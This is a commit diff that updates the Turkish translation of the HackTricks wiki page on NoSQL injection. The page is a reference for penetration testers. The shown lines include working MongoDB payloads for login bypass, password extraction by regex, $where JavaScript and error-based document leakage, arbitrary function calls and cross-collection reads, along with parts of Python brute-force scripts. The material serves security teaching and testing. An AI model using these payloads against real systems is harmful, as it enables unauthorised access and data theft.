mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/nosql-injection.md'] to tr
This commit is contained in:
parent
1169340038
commit
b7538fc9b5
@ -6,7 +6,7 @@
|
||||
|
||||
PHP'de gönderilen parametreyi _parameter=foo_ yerine _parameter\[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz.
|
||||
|
||||
Sömürüler, bir **Operator** eklemeye dayanmaktadır:
|
||||
Sömürü, bir **Operator** eklemeye dayanmaktadır:
|
||||
```bash
|
||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||||
@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
|
||||
```
|
||||
### Temel kimlik doğrulama atlatma
|
||||
|
||||
**Eşit değil ($ne) veya büyük ($gt) kullanma**
|
||||
**Eşit değil ($ne) veya daha büyük ($gt) kullanma**
|
||||
```bash
|
||||
#in URL
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
@ -40,7 +40,7 @@ Bir saldırgan, `admin' || 'a'=='a` gibi dizeleri girerek bunu istismar edebilir
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
```
|
||||
### **Uzunluk** bilgilerini çıkarma
|
||||
### **length** bilgilerini çıkarma
|
||||
```bash
|
||||
username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
@ -76,9 +76,9 @@ in JSON
|
||||
...
|
||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||||
```
|
||||
### PHP Keyfi Fonksiyon İcraatı
|
||||
### PHP Rastgele Fonksiyon Çalıştırma
|
||||
|
||||
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi aracılığıyla, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyonu icra etmek mümkün olabilir.
|
||||
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi rastgele bir fonksiyon çalıştırmak mümkün olabilir.
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
@ -86,9 +86,9 @@ Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://git
|
||||
|
||||
### Farklı koleksiyondan bilgi alma
|
||||
|
||||
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen bir şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
|
||||
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
|
||||
|
||||
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldıysa yalnızca mevcuttur.
|
||||
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldığında yalnızca mevcuttur.
|
||||
```json
|
||||
[
|
||||
{
|
||||
@ -108,7 +108,13 @@ Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.co
|
||||
}
|
||||
]
|
||||
```
|
||||
## MongoDB Yüklemeleri
|
||||
### Hata Tabanlı Enjeksiyon
|
||||
|
||||
`throw new Error(JSON.stringify(this))` ifadesini bir `$where` koşuluna enjekte ederek, sunucu tarafı JavaScript hataları aracılığıyla tam belgeleri dışa aktarın (uygulamanın veritabanı hatalarını sızdırması gerekir). Örnek:
|
||||
```json
|
||||
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||
```
|
||||
## MongoDB Yükleri
|
||||
|
||||
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
```
|
||||
@ -176,7 +182,7 @@ if 'OK' in r.text:
|
||||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
### Brute-force giriş kullanıcı adları ve şifreleri POST girişinden
|
||||
### POST girişinden brute-force kullanıcı adları ve şifreleri
|
||||
|
||||
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
|
||||
```python
|
||||
@ -229,5 +235,6 @@ get_password(u)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user